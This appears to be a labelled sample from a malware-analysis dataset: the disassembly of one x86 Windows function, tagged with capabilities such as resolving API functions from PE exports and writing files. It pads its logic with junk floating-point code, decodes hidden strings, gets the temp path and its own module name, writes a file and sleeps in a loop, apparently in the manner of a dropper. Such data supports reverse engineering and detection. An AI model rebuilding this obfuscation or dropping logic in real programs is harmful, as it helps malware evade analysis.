Function at 0x408bd0
Capabilities:
Get common file path
Resolve function by parsing pe exports
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x41e2a8
mov eax, dword fs:[0]
push eax
sub esp, 0xf0
mov eax, dword [0x4260f0]
xor eax, esp
mov dword [esp + 0xe8], eax
push ebx
push esi
push edi
mov eax, dword [0x4260f0]
xor eax, esp
push eax
lea eax, [esp + 0x100]
mov dword fs:[0], eax
fldz
xor esi, esi
xor eax, eax
mov word [esp + 0x28], ax
mov dword [esp + 0x14], esi
xor ecx, ecx
mov word [esp + 0x20], cx
mov dword [esp + 0x88], esi
fst qword [esp + 0x74]
fldz
mov dword [esp + 0x4c], esi
fst dword [esp + 0x40]
mov dword [esp + 0x50], esi
fstp dword [esp + 0x5c]
mov dword [esp + 0x3c], esi
fst qword [esp + 0x8c]
fstp qword [esp + 0x44]
fld qword [0x4242c0]
mov dx, word [esp + 0x20]
fsubr qword [0x41f9c0]
mov ecx, dword [0x425e94]
movsx eax, dx
mov dword [esp + 0x24], eax
fild dword [esp + 0x24]
mov dword [esp + 0x24], ecx
fild dword [esp + 0x24]
fsubp st(2)
fsubrp st(1)
call fcn.0040b420
mov word [esp + 0x20], ax
fld qword [0x4242c0]
fsub qword [0x41f358]
mov dword [esp + 0xb0], 0xf
mov dword [esp + 0xac], esi
mov byte [esp + 0x9c], 0
fstp qword [0x4242c0]
push 0x118
mov dword [esp + 0x10c], esi
call fcn.0040afd9
push eax
mov dword [esp + 0x78], eax
call fcn.00403cd0
add esp, 8
push 0
call fcn.0040adaa
fld qword [esp + 0x90]
fsub qword [0x41f9b8]
mov esi, edx
mov edx, dword [0x424290]
mov dword [esp + 0x28], edx
fild dword [esp + 0x28]
mov edi, eax
add esp, 4
mov dword [esp + 0x7c], edi
faddp st(1)
mov dword [esp + 0x80], esi
call fcn.0040b420
mov ecx, dword [esp + 0x50]
cmp esi, ecx
mov dword [0x424290], eax
jg 0x408d32
jl 0x408d24
cmp edi, dword [esp + 0x4c]
jae 0x408d32
xor ecx, ecx
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], ecx
mov eax, edi
sub eax, dword [esp + 0x4c]
mov edx, esi
sbb edx, ecx
mov dword [esp + 0x18], edx
js 0x409673
jg 0x408d53
cmp eax, 0x708
jbe 0x409673
mov dword [esp + 0x4c], edi
shr edi, 9
push 0x408
lea ebx, [edi + 0x55]
push 0x4249c8
mov dword [esp + 0x58], esi
mov dword [esp + 0x2c], 0
mov dword [esp + 0x5c], edi
mov dword [esp + 0x1c], ebx
call fcn.004026c0
push 0xd
push 0x424294
mov dword [esp + 0x78], eax
call fcn.004026c0
fld dword [esp + 0x50]
fld1
mov esi, eax
fadd st(1), st(0)
add esp, 0x10
fxch st(1)
mov dword [esp + 0x58], esi
fstp dword [esp + 0x40]
inc dword [0x425e9c]
fld dword [esp + 0x40]
mov ax, word [0x4241f4]
mov edx, dword [0x425e9c]
movsx ecx, ax
mov dword [esp + 0x38], ecx
fild dword [esp + 0x38]
mov dword [esp + 0x38], edx
faddp st(1)
fiadd dword [esp + 0x38]
fld qword [0x4242e0]
fsubr qword [0x41f9b0]
fsub qword [0x41f9a8]
fcompp
fnstsw ax
fld qword [0x4242e0]
fsub st(1)
fstp qword [0x4242e0]
test ah, 1
jne 0x408e0f
fld qword [esp + 0x44]
fstp qword [0x425fe0]
fsubr qword [esp + 0x44]
fstp qword [esp + 0x44]
jmp 0x408e11
fstp st(0)
push 0xaf1
push 0x4230d0
call fcn.004026c0
push 0x31e
push 0x423e18
mov dword [esp + 0x48], eax
call fcn.004026c0
add esp, 0x10
mov dword [esp + 0x6c], eax
cmp edi, ebx
je 0x40928b
mov eax, dword [0x4278e0]
push 0
push eax
call fcn.00401d40
add esp, 8
test eax, eax
jne 0x408e7a
fld qword [esp + 0x74]
mov ecx, dword [0x4278e8]
fmul qword [0x41f9a0]
mov edx, dword [0x427424]
push ecx
push edx
fstp qword [esp + 0x7c]
call fcn.004013c0
add esp, 8
mov eax, dword [esp + 0x54]
mov ecx, dword [esp + 0x6c]
mov edx, dword [esp + 0x38]
push eax
push ecx
push edx
lea eax, [esp + 0xc0]
push eax
call fcn.00403170
push 0x8b
push 0x425f30
call fcn.004026c0
mov ebx, eax
mov eax, dword [esp + 0x70]
add esp, 0x18
mov esi, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408eb0
mov edi, ebx
sub eax, esi
dec edi
lea esp, [esp]
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x408ec0
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 0x2710
rep movsb byte es:[edi], byte [esi]
push 0
lea ecx, [esp + 0xa0]
push ecx
lea edx, [esp + 0xc0]
push ebx
push edx
call fcn.00408270
xor eax, eax
fldz
push 0x8b
push eax
fstp qword [esp + 0x48]
push ebx
mov word [esp + 0x4c], ax
call fcn.0040af10
push ebx
call fcn.0040ae7f
mov eax, dword [esp + 0xc0]
add esp, 0x24
cmp dword [esp + 0xb0], 0x10
jae 0x408f2d
lea eax, [esp + 0x9c]
mov ecx, dword [esp + 0xac]
mov edx, dword [esp + 0x68]
push ecx
push eax
push edx
call fcn.00407f90
add esp, 0xc
cmp eax, 9
jl 0x409251
mov ecx, dword [esp + 0x9c]
mov ebx, 0x10
cmp dword [esp + 0xb0], ebx
jae 0x408f68
lea ecx, [esp + 0x9c]
mov edx, dword [ecx]
xor ecx, ecx
cmp ecx, dword [esp + 0x80]
jg 0x408f94
jl 0x408f7d
cmp edx, dword [esp + 0x7c]
jae 0x408f94
fld qword [0x423ce8]
fadd qword [0x41f998]
fstp qword [0x423ce8]
jmp 0x409251
lea esi, [eax - 1]
cmp esi, dword [esp + 0xac]
jbe 0x408fa5
call fcn.0040b670
mov eax, dword [esp + 0x9c]
cmp dword [esp + 0xb0], ebx
jae 0x408fbc
lea eax, [esp + 0x9c]
mov byte [eax + esi], 0
mov eax, dword [esp + 0x9c]
cmp dword [esp + 0xb0], ebx
jae 0x408fd7
lea eax, [esp + 0x9c]
lea ecx, [esp + 0xb4]
add eax, 8
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x409001
test dl, dl
je 0x408ffd
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x409001
add eax, 2
add ecx, 2
test dl, dl
jne 0x408fe1
xor eax, eax
jmp 0x409006
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x409027
fld qword [esp + 0x74]
fsub qword [0x41f990]
fsub qword [0x41f988]
fmul dword [esp + 0x5c]
fstp dword [esp + 0x5c]
jmp 0x409251
movzx eax, word [esp + 0x28]
mov edx, dword [esp + 0xb0]
sub eax, 0x32ebd81b
mov word [esp + 0x28], ax
mov eax, dword [esp + 0x9c]
cmp edx, ebx
jb 0x40913d
mov edi, eax
test eax, eax
je 0x40907b
mov ecx, eax
cmp edx, ebx
jae 0x40905f
lea ecx, [esp + 0x9c]
cmp ecx, edi
ja 0x40907b
cmp edx, ebx
jae 0x40906e
lea eax, [esp + 0x9c]
mov ecx, dword [esp + 0xac]
add eax, ecx
cmp edi, eax
jbe 0x409080
call fcn.0040b670
mov dx, word [0x4251a8]
movsx eax, dx
sub eax, 0x315a5561
mov dword [esp + 0x2c], eax
lea esi, [esp + 0x98]
mov dword [esp + 0x64], edi
fild dword [esp + 0x2c]
fmul qword [0x4244c8]
fstp qword [0x4244c8]
mov edi, edi
mov edx, dword [esp + 0xb0]
mov ebx, dword [esp + 0x9c]
mov eax, ebx
cmp edx, 0x10
jae 0x4090cc
lea eax, [esp + 0x9c]
mov ecx, dword [esp + 0xac]
lea edi, [eax + ecx]
test edi, edi
je 0x409100
mov eax, ebx
cmp edx, 0x10
jae 0x4090e8
lea eax, [esp + 0x9c]
cmp eax, edi
ja 0x409100
mov eax, ebx
cmp edx, 0x10
jae 0x4090fa
lea eax, [esp + 0x9c]
add eax, ecx
cmp edi, eax
jbe 0x409105
call fcn.0040b670
cmp esi, 0xfffffffc
je 0x40911e
test esi, esi
je 0x409119
lea ecx, [esp + 0x98]
cmp esi, ecx
je 0x40911e
call fcn.0040b670
cmp dword [esp + 0x64], edi
je 0x409198
cmp esi, 0xfffffffc
je 0x40915c
test esi, esi
jne 0x409132
call fcn.0040b670
cmp dword [esi + 0x18], 0x10
jb 0x409149
mov eax, dword [esi + 4]
jmp 0x40914c
lea edi, [esp + 0x9c]
jmp 0x409052
lea eax, [esi + 4]
mov edx, dword [esi + 0x14]
add edx, eax
cmp dword [esp + 0x64], edx
jb 0x40915c
call fcn.0040b670
mov eax, dword [esp + 0x64]
mov byte [eax], 0
cmp esi, 0xfffffffc
je 0x40918f
test esi, esi
jne 0x409171
call fcn.0040b670
cmp dword [esi + 0x18], 0x10
jb 0x40917c
mov eax, dword [esi + 4]
jmp 0x40917f
lea eax, [esi + 4]
mov ecx, dword [esi + 0x14]
add ecx, eax
cmp dword [esp + 0x64], ecx
jb 0x40918f
call fcn.0040b670
inc dword [esp + 0x64]
jmp 0x4090b0
fld qword [esp + 0x44]
push 0x7e
fstp qword [0x424278]
push 0x425f30
fld qword [esp + 0x4c]
fadd qword [0x41f358]
fstp qword [esp + 0x4c]
call fcn.004026c0
push 0
push 0
lea edx, [esp + 0xa8]
mov esi, eax
push edx
lea eax, [esp + 0xc8]
push esi
push eax
call fcn.00408270
fldz
xor ecx, ecx
fstp qword [esp + 0x48]
push 0x7e
push ecx
push esi
mov word [esp + 0x54], cx
call fcn.0040af10
push esi
call fcn.0040ae7f
push 0xc
push 0x423d68
call fcn.004026c0
add esp, 0x34
mov esi, eax
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x409208
sub eax, ecx
push eax
push 0xffffffffffffffff
push esi
lea ecx, [esp + 0xa4]
call fcn.00404820
fldz
mov edi, eax
fstp qword [esp + 0x2c]
xor eax, eax
mov dword [esi], eax
xor edx, edx
mov dword [esi + 4], eax
push esi
mov word [esp + 0x30], dx
mov dword [esi + 8], eax
call fcn.0040ae7f
mov eax, dword [esp + 0xb0]
add eax, 0xfffffff5
add esp, 4
cmp edi, eax
je 0x409266
mov eax, dword [esp + 0x54]
inc eax
mov dword [esp + 0x54], eax
cmp eax, dword [esp + 0x14]
jne 0x408e42
jmp 0x409287
push 0xb
push edi
lea ecx, [esp + 0xa0]
call fcn.004065c0
add dword [0x4241e8], 0xfed50434
mov dword [esp + 0x24], 1
mov esi, dword [esp + 0x58]
fld qword [esp + 0x44]
fld1
fsub st(1), st(0)
fxch st(1)
fstp qword [esp + 0x44]
fadd dword [esp + 0x40]
fstp dword [esp + 0x40]
fld qword [esp + 0x44]
fadd dword [esp + 0x5c]
fsub dword [esp + 0x40]
fld qword [0x424ef8]
fucompp
fnstsw ax
test ah, 0x44
jp 0x4092c8
mov ecx, 0x7266
mov word [0x425254], cx
fldz
mov edi, dword [esp + 0x68]
xor edx, edx
fstp qword [esp + 0x14]
push 0x408
push edx
mov word [esp + 0x34], dx
push edi
call fcn.0040af10
push edi
call fcn.0040ae7f
fldz
xor eax, eax
fstp qword [esp + 0x24]
mov dword [esi], eax
mov dword [esi + 4], eax
mov dword [esi + 8], eax
mov word [esp + 0x3c], ax
push esi
mov byte [esi + 0xc], al
call fcn.0040ae7f
fldz
mov esi, dword [esp + 0x80]
fstp qword [esp + 0x28]
xor ecx, ecx
push 0x31e
push ecx
mov word [esp + 0x48], cx
push esi
call fcn.0040af10
push esi
call fcn.0040ae7f
fldz
mov esi, dword [esp + 0x5c]
fstp qword [esp + 0x38]
xor edx, edx
push 0xaf1
push edx
push esi
mov word [esp + 0x5c], dx
call fcn.0040af10
push esi
call fcn.0040ae7f
push 0x40
lea eax, [esp + 0xec]
push 0
push eax
call fcn.0040af10
add esp, 0x40
cmp dword [esp + 0x24], 0
je 0x409673
mov ecx, dword [esp + 0x70]
push 0x708
push ecx
call fcn.00404570
movzx edx, word [esp + 0x28]
mov eax, dword [esp + 0x44]
sub edx, eax
add edx, 0x486e33
add esp, 8
cmp dword [esp + 0xac], 0x200
mov word [esp + 0x20], dx
jbe 0x409673
mov ecx, 0x27ac
mov word [0x424ef4], cx
push 0x370
call fcn.0040afd9
mov edx, dword [0x424148]
mov ebx, eax
mov eax, 0xdf28976d
sub eax, edx
add esp, 4
cmp eax, 0xcbdd4d8a
jg 0x4093fc
fld qword [0x423ce8]
mov ecx, dword [0x425250]
mov edx, 0x106a87a7
sub edx, ecx
mov dword [esp + 0x14], edx
fild dword [esp + 0x14]
fsubp st(1)
fstp qword [0x423ce8]
push ebx
push 0xeb
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
push ebx
call fcn.00403570
push 3
push 0x4241f0
call fcn.004026c0
mov esi, eax
push esi
push ebx
call fcn.0040bccc
fldz
mov edi, eax
fstp qword [esp + 0x2c]
xor eax, eax
mov word [esi], ax
push esi
mov word [esp + 0x48], ax
mov byte [esi + 2], al
call fcn.0040ae7f
mov eax, dword [esp + 0xb8]
add esp, 0x1c
cmp dword [esp + 0xb0], 0x10
jae 0x409460
lea eax, [esp + 0x9c]
mov ecx, dword [esp + 0xac]
push edi
push 1
push ecx
push eax
call fcn.0040be45
push edi
call fcn.0040b872
add esp, 0x14
push 0x104
lea eax, [ebx + 0x104]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x15
push 0x42521c
call fcn.004026c0
push 0x20
push 0x423bd4
mov edi, eax
call fcn.004026c0
fld dword [0x424ec4]
fsub qword [0x41f980]
mov edx, dword [esp + 0x4c]
inc dword [esp + 0x4c]
mov dword [esp + 0x24], edx
fiadd dword [esp + 0x24]
mov esi, eax
add esp, 0x10
fcomp qword [0x41f978]
fnstsw ax
test ah, 0x41
jne 0x409519
dec dword [0x4244ec]
fld qword [esp + 0x8c]
mov eax, dword [0x4244ec]
mov dword [esp + 0x14], eax
fild dword [esp + 0x14]
fsubp st(1)
fadd qword [0x41f970]
fcomp qword [0x41f968]
fnstsw ax
test ah, 0x44
jp 0x40955f
fld dword [0x424f00]
fsub qword [0x41f960]
fstp dword [0x424f00]
jmp 0x40955f
mov cx, word [esp + 0x28]
movsx edx, cx
mov eax, 0xca6b6937
sub eax, edx
add eax, dword [esp + 0x88]
cmp eax, 0xb2ae9889
jne 0x40955f
fld dword [0x4244b8]
fstp st(0)
fld qword [0x423cb0]
mov cx, word [0x424f10]
fstp st(0)
fld dword [0x4244b8]
fsub qword [0x41f358]
fstp dword [0x4244b8]
mov edx, dword [0x4278e0]
push edx
push esi
lea eax, [ebx + 0x104]
push eax
push edi
lea eax, [ebx + 0x208]
push 0x168
push eax
call fcn.0040b74c
fldz
xor eax, eax
fstp qword [esp + 0x2c]
mov dword [esi], eax
mov dword [esi + 4], eax
mov dword [esi + 8], eax
mov dword [esi + 0xc], eax
mov dword [esi + 0x10], eax
mov dword [esi + 0x14], eax
mov dword [esi + 0x18], eax
mov word [esp + 0x44], ax
push esi
mov dword [esi + 0x1c], eax
call fcn.0040ae7f
fldz
xor eax, eax
fstp qword [esp + 0x30]
mov dword [edi], eax
mov dword [edi + 4], eax
mov dword [edi + 8], eax
mov dword [edi + 0xc], eax
xor ecx, ecx
mov dword [edi + 0x10], eax
mov word [esp + 0x48], cx
push edi
mov byte [edi + 0x14], al
call fcn.0040ae7f
fld qword [esp + 0x64]
fsub qword [0x41f958]
mov edx, dword [0x4278e0]
push 1
push edx
fstp qword [esp + 0x6c]
call fcn.00401d40
lea eax, [ebx + 0x208]
push eax
push ebx
call fcn.004013c0
mov eax, dword [esp + 0x6c]
mov dword [esp + 0x44], eax
fild dword [esp + 0x44]
fmul dword [0x424168]
call fcn.0040b420
push 0x370
push 0
mov dword [esp + 0x74], eax
push ebx
call fcn.0040af10
fld dword [0x424338]
fld qword [0x424278]
push ebx
fadd qword [0x41f950]
fsub dword [0x424394]
fsubp st(1)
fstp dword [0x424338]
fld dword [0x424394]
fadd qword [0x41f358]
fstp dword [0x424394]
call fcn.0040ae7f
add esp, 0x40
push 0x15f90
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [0x425f08]
fstp dword [0x425fc8]
mov cx, word [0x423c88]
movsx edx, cx
cmp edx, 0x5356630c
jge 0x409692
mov ax, word [0x424198]
movsx ecx, ax
mov dword [esp + 0x14], ecx
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [0x4278e0]
push 0
push edx
call fcn.00401d40
add esp, 8
test eax, eax
jne 0x408cd4
mov eax, dword [0x4278e8]
mov ecx, dword [0x427424]
push eax
push ecx
call fcn.004013c0
jmp 0x408cd1